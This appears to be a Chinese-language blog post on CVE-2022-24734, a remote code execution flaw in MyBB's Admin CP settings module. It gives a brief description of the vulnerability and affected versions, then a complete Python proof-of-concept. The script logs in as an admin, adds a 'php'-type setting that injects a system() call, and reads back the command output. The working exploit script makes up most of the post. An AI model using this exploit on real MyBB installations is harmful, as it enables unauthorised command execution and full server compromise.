MyBB远程代码执行漏洞rce CVE-2022-24734 PoC

MyBB远程代码执行漏洞rce CVE-2022-24734 PoC

MyBB简介

MyBB,前身为MyBBoard和最初的MyBulletinBoard,是由 MyBB Group 开发的免费开源论坛软件。它是用PHP编写的,支持MySQL、PostgreSQL和SQLite作为数据库系统,此外还支持数据库故障转移。它以多种语言提供并在LGPL下获得许可。

mybb官网:

https://mybb.com/

CVE-2022-24734漏洞描述

MyBB 是一个免费的开源论坛软件。在受影响的版本中,Admin CP 的设置管理模块在插入和更新时无法正确验证设置类型,因此可以使用 PHP 代码添加支持类型“php”的设置,在 _Change Settings_ 页面上执行。这会导致远程代码执行 (RCE) 漏洞易受攻击的模块需要具有“可以管理设置”权限的管理员 CP 访问权限。MyBB 的设置模块允许管理员添加、编辑和删除非默认设置,将设置数据存储在选项代码字符串($options_code;mybb_settings.optionscode 数据库列)中,该字符串标识设置类型及其选项,由新的分隔行字符 (\n)。在 MyBB 1.2.0 中,添加了对设置类型 php 的支持,选项代码的其余部分是在更改设置页面上执行的 PHP 代码(保留供插件和内部使用)。MyBB 1.8.30 解决了这个问题。

受影响的版本:

从(包括)
1.2.0
直到(不包括)
1.8.30

CVE-2022-24734 PoC

exploit.py:

import requests
import argparse
import random
import string
from base64 import b64decode
from bs4 import BeautifulSoup


def login(username, password):

    data = {
        "username" : username,
        "password" : password,
        "do" : "login"
    }

    login_txt = r_client.post(host + "/admin/index.php", data=data).text

    if "The username and password combination you entered is invalid" in login_txt:
        print("[-] Login failure. Incorrect credentials supplied")
        exit(0)

    print("[+] Login successful!")


def add_settings(cmd, raw_cmd=""):

    config_settings_txt = r_client.get(host + "/admin/index.php?module=config-settings&action=add").text

    if "Access Denied" in config_settings_txt:
        print("[-] Supplied user doesn't have the rights to add a setting")
        exit(0)

    print("[*] Adding a malicious settings...")

    soup = BeautifulSoup(config_settings_txt, "lxml")
    my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value']

    rand_string = get_rand_string()

    if raw_cmd != "":
        extra = "\" . system('{}') .\"".format(raw_cmd)
    else:
        extra = "\" . system('{} | base64 -w 0') .\"".format(cmd)

    data = {
        "my_post_key" : my_post_key,
        "title" : "An innocent setting",
        "description" : "An innocent description",
        "gid" : 1,
        "disporder" : "",
        "name" : rand_string,
        "type" : "\tphp",
        "extra" : extra,
        "value" : "An innocent value" 
    }

    post_setting = r_client.post(host + "/admin/index.php?module=config-settings&action=add",data=data,allow_redirects=False)

    if post_setting.status_code != 302:
        soup = BeautifulSoup(post_setting.text, "lxml")
        error_txt = soup.find_all("div", {"class" : "error"})[0].text
        print("[-] Exploit didn't work. Reason: '{}'".format(error_txt))
        exit(0)

    print("[+] Malicious post settings accepted!")
    return rand_string

def get_rand_string(length=20):
    
    return ''.join(random.choice(string.ascii_letters) for i in range(length))

def get_cmd_result(ident_string, raw_cmd=""):

    conf_settings_list = r_client.get(host + "/admin/index.php?module=config-settings&action=change").text

    soup = BeautifulSoup(conf_settings_list, "lxml")
    row_setting = soup.find_all("tr", {"id" : "row_setting_{}".format(ident_string)})[0]

    cmd_result = row_setting.find_all("div", {"class" : "form_row"})[0].text

    if raw_cmd == "":
        cmd_result = b64decode(cmd_result[2:]).decode()

    print("[+] Result: {}".format(str(cmd_result)))

parser = argparse.ArgumentParser()

parser.add_argument('--username', required=True, help="MyBB Admin CP username")
parser.add_argument('--password', required=True, help="MyBB Admin CP password")
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
parser.add_argument('--cmd', required=False, help="Command to run")
parser.add_argument('--raw_cmd', required=False, help="Command to run directly into system()")
args = parser.parse_args()

username = args.username
password = args.password
host = args.host

cmd = "id" if args.cmd == None else args.cmd
raw_cmd = "" if args.raw_cmd == None else args.raw_cmd

r_client = requests.Session()

login(username, password)
ident_string = add_settings(cmd, raw_cmd=raw_cmd)
get_cmd_result(ident_string, raw_cmd=raw_cmd)
MyBB远程代码执行漏洞rce CVE-2022-24734 PoC

漏洞利用条件:

用户必须有权添加或更新设置!

漏洞利用示例:

MyBB远程代码执行漏洞rce CVE-2022-24734 PoC

转载请注明出处及链接

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